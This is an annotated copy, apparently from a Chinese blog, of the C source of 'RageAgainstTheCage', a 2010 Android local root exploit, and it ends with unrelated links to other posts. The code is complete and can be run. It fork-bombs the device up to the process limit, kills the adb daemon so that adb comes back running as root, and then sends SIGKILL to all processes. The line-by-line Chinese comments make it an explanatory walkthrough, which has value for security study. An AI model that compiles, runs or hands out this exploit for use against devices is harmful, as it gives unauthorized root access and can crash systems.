//头文件包含 
#include <stdio.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <sys/resource.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <errno.h> 
#include <string.h> 
#include <signal.h> 
#include <stdlib.h> 
 
 
//输出错误消息后退出程序 
void die(const char *msg) 

    perror(msg); 
    exit(errno); 

 
 
//搜索ADB进程,返回其PID,没有找到时返回0 
pid_t find_adb() 

    char buf[256]; 
    int i = 0, fd = 0; 
    pid_t found = 0;    //初始化为0,如果没有找到adb将一直保持0值 
 
 
    //遍历进程ID的有效范围 
    for (i = 0; i < 32000; ++i)  
    { 
        //拼接字符串"/proc/<PID>/cmdline" 
        sprintf(buf, "/proc/%d/cmdline", i); 
 
 
        //打开失败,进程不存在或无权访问 
        if ((fd = open(buf, O_RDONLY)) < 0) 
        { 
            //跳过这个PID,继续下一轮循环 
            continue; 
        }   //end if 
 
 
        //buf填0 
        memset(buf, 0, sizeof(buf)); 
 
 
        //读取进程的命令行 
        read(fd, buf, sizeof(buf) - 1); 
 
 
        //关闭进程 
        close(fd); 
 
 
        //在命令行中查找"/sbin/adb" 
        if (strstr(buf, "/sbin/adb"))  
        { 
            //找到了"/sbin/adb"则说明找到了adb进程,返回找到的PID 
            found = i; 
            break; 
        }   //end if 
    }   //end for 
 
 
    //返回找到的PID或0值 
    return found; 

 
 
//重启adb进程,参数为当前adb进程的PID 
void restart_adb(pid_t pid) 

    //直接杀死进程(sig = SIGKILL) 
    kill(pid, 9); 

 
 
//等待具有root权限的adb进程 
//参数为原有adb进程的PID 
void wait_for_root_adb(pid_t old_adb) 

    pid_t p = 0; 
 
 
    //死循环,只能由里面的break跳出 
    for (;;)  
    { 
        //搜索adb进程 
        p = find_adb(); 
 
 
        //找到了adb进程,并且不是原来那个旧的adb进程 
        if (p != 0 && p != old_adb) 
        { 
            //退出循环 
            break; 
        } 
 
 
        //休息1秒,防止大量占用CPU 
        sleep(1); 
 
 
    }   //end for 
 
 
    //休息5秒,等待新的adb进程初始化完毕 
    sleep(5); 
 
 
    //将SIGKILL广播给系统中的所有进程 
    kill(-1, 9); 

 
 
//程序入口点 
int main(int argc, char **argv) 

    pid_t adb_pid = 0, p; 
    int pids = 0, new_pids = 1; 
    int pepe[2]; 
    char c = 0; 
    struct rlimit rl; 
 
 
    //启动时显示的版本与版权信息 
    printf(" CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n"); 
    printf(" checking NPROC limit ...\n"); 
 
 
    //获取当前进程可以创建的最大子进程数量 
    if (getrlimit(RLIMIT_NPROC, &rl) < 0) 
    { 
        //失败时输出消息退出 
        die("[-] getrlimit"); 
    } 
 
 
    //检查是否有最大子进程数量限制 
    if (rl.rlim_cur == RLIM_INFINITY)  
    { 
        //当没有最大子进程数量限制时,不执行exploit,否则将导致系统崩溃 
        printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n"); 
        exit(1); 
    } 
 
 
    //输出最大子进程数量软性限制和硬性限制 
    printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max); 
    printf(" Searching for adb ...\n"); 
 
 
    //查找adb进程 
    adb_pid = find_adb(); 
 
 
    //检查是否找到了adb进程 
    if (!adb_pid) 
    { 
        //没有找到时直接退出 
        die("[-] Cannot find adb"); 
    } 
 
 
    //输出adb进程的PID 
    printf("[+] Found adb as PID %d\n", adb_pid); 
 
 
    //输出一大堆废话 
    printf(" Spawning children. Dont type anything and wait for reset!\n"); 
    printf("\n If you like what we are doing you can send us PayPal money to\n" 
           " 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n" 
           " If you are a company and feel like you profit from our work,\n" 
           " we also accept donations > 1000 USD!\n"); 
    printf("\n adb connection will be reset. restart adb server on desktop and re-login.\n"); 
 
 
    //休息5秒,防止当前的adb进程没有完全初始化 
    sleep(5); 
 
 
    //如果在父进程中(已有子进程) 
    if (fork() > 0) 
    { 
        //退出 
        exit(0); 
    } 
 
 
    //创建一个新的进程组 
    setsid(); 
 
 
    //创建管道 
    pipe(pepe); 
 
 
     
    //如果在子进程中 
    if (fork() == 0)  
    { 
        //关闭输入管道 
        close(pepe[0]); 
 
 
        //死循环,直到满足条件时退出进程 
        for (;;)  
        { 
            //如果是子进程 
            if ((p = fork()) == 0)  
            { 
                //直接退出 
                exit(0); 
            }  
            else if (p < 0)     //创建进程失败,说明已达到进程数最大值 
            { 
                //确保代码只执行一次,防止多个进程反复输出信息 
                if (new_pids)  
                { 
                    printf("\n[+] Forked %d childs.\n", pids); 
                    new_pids = 0; 
                    //在输出管道中写入一个字节,然后关闭管道 
                    //相当于通知顶级父进程fork炸弹完成 
                    write(pepe[1], &c, 1); 
                    close(pepe[1]); 
                } 
            }  
            else  
            { 
                //进程总数+1 
                ++pids; 
            } 
        } 
    } 
 
 
    //关闭输出管道 
    close(pepe[1]); 
 
 
    //从输入管道中读一个字符,用来等待前面创建的子进程到达最大值 
    read(pepe[0], &c, 1); 
 
 
    //重启adb 
    restart_adb(adb_pid); 
 
 
    //在adb重启完以前,再创建一个子进程,占用刚释放出的进程空位 
    if (fork() == 0)  
    { 
        //子进程里继续开子进程,保证进程空位被占满 
        fork(); 
 
 
        //无限休眠,永不退出 
        for (;;) 
        { 
            sleep(0x743C); 
        } 
    } 
 
 
    //等待具有root权限的adb启动 
    wait_for_root_adb(adb_pid); 
 
 
    //执行完毕 
    return 0; 
}

rageagainstthecage 源代码的更多相关文章

  1. arcgis api for js入门开发系列八聚合效果(含源代码)

    上一篇实现了demo的图层控制模块,本篇新增聚合效果,截图如下(源代码见文章底部): 聚合效果实现的思路如下: 1.map.html引用聚合包,项目已经包含进来了的聚合文件夹: <script ...

  2. arcgis api for js入门开发系列七图层控制(含源代码)

    上一篇实现了demo的地图分屏对比模块,本篇新增图层控制模块,截图如下(源代码见文章底部): 图层控制模块实现的思路如下: 1.在地图配置文件map.config.js里面配置图层目录树节点信息,作为 ...

  3. arcgis api for js入门开发系列六地图分屏对比(含源代码)

    上一篇实现了demo的地图标绘模块,本篇新增地图地图分屏对比模块,截图如下(源代码见文章底部): 对效果图的简单介绍一下,在demo只采用了两分屏对比,感兴趣的话,可以在两分屏的基础上拓展,修改css ...

  4. arcgis api for js入门开发系列五地图态势标绘(含源代码)

    上一篇实现了demo的地图查询功能,本篇新增地图态势标绘模块,截图如下: 本篇核心的在于调用API的Draw工具:https://developers.arcgis.com/javascript/3/ ...

  5. arcgis api for js入门开发系列四地图查询(含源代码)

    备注:由于实现本篇功能的需求,修改了地图数据的dlsearch.mxd,然后更新了地图服务,需要的在文章最后有提供最新的mxd以及源代码下载的 上一篇实现了demo的地图工具栏,本篇新增地图查询功能, ...

  6. 使用git进行源代码管理

    git是一款非常流行的分布式版本控制系统,使用Local Repository追踪代码的修改,通过Push和Pull操作,将代码changes提交到Remote Repository,或从Remote ...

  7. 微软开放.NET框架源代码和Mono

    微软一直在朝着更加开放的方向努力.例如,公司首席执行官萨特亚纳德拉(Satya Nadella)在Windows 10预览发布会上声称微软喜欢Linux,这并不出人意料,但是对于一家将Linux视作威 ...

  8. 【完全开源】知乎日报UWP版:项目结构说明、关键源代码解释

    目录 说明 项目结构 关键代码 演示视频 说明 上一篇博客将源码放出来了,但是并没有做过多的介绍,所以如果自己硬看可能需要花费很长的时间,尤其这些代码并不是自己写的.项目不算复杂但是也不算简单,这篇文 ...

  9. SVN源代码的版本控制系统使用简介

    SVN是以个开放源代码的版本控制系统,当前最流行的版本控制系统,GIT是近段时间刚兴起的. 下面开始介绍如何安装也配置 1先下载或者从别的地方弄一个安装包(本人是64位的,32位的就用32位的安装包) ...

随机推荐

  1. Ubuntu12.04 LTS Add Sources List

    1. First Step: sudo gedit /etc/apt/sources.list 2. Add Soures List Content: # deb cdrom:[Ubuntu LTS ...

  2. grok 正则解析日志例子<1>

    <pre name="code" class="html">下面是日志的样子 55.3.244.1 GET /index.html 15824 0. ...

  3. hdu 2157 How many ways_ 矩阵快速幂

    题意:略 直接矩阵乘法就行了 #include <iostream> #include<cstdio> #include<cstring> using namesp ...

  4. js 跨域访问

    错误log :  XMLHttpRequest cannot load http://192.168.17.131:8080/wm/topology/links/json. No 'Access-Co ...

  5. phonegap开发app中踩过的那些坑

    把遇到的问题列出来,假设有解决方式的,偶也会写下来.假设大家有更好解决方法的.欢迎留言噢 phonegap 2.9无法触发deviceready事件 亲们能够看下控制台有木有报错.假设有提示cordo ...

  6. golang高级部分

    一.golang之OOP(orient object programming) 在函数声明时, 在其名字之前放上一个变量, 即是一个方法. 这个附加的参数会将该函数附加到这种类型上, 即相当于为这种类 ...

  7. SQL中DATEPART返回日期单独部分

    定义和用法 DATEPART() 函数用于返回日期/时间的单独部分,比如年.月.日.小时.分钟等等. 语法 DATEPART(datepart,date) date 参数是合法的日期表达式.datep ...

  8. js 正则表达式验证 整理

    1.验证首字符是英文字母: var str="123"; var reg=/^[a-zA-Z]/; if(!reg.test(str)){ alert(str+"应以字母 ...

  9. SQL Server 事务嵌套

    示例代码: DECLARE @TranCounter INT; SET @TranCounter = @@TRANCOUNT; -- Procedure called when there is -- ...

  10. win server 2003 将MBR转为GPT突破硬盘2TB的限制(附微软磁盘科普)

    备注:https://technet.microsoft.com/zh-cn/library/cc773223.aspx GUID 分区表 与支持最大卷为 2 TB (terabytes) 并且每个磁 ...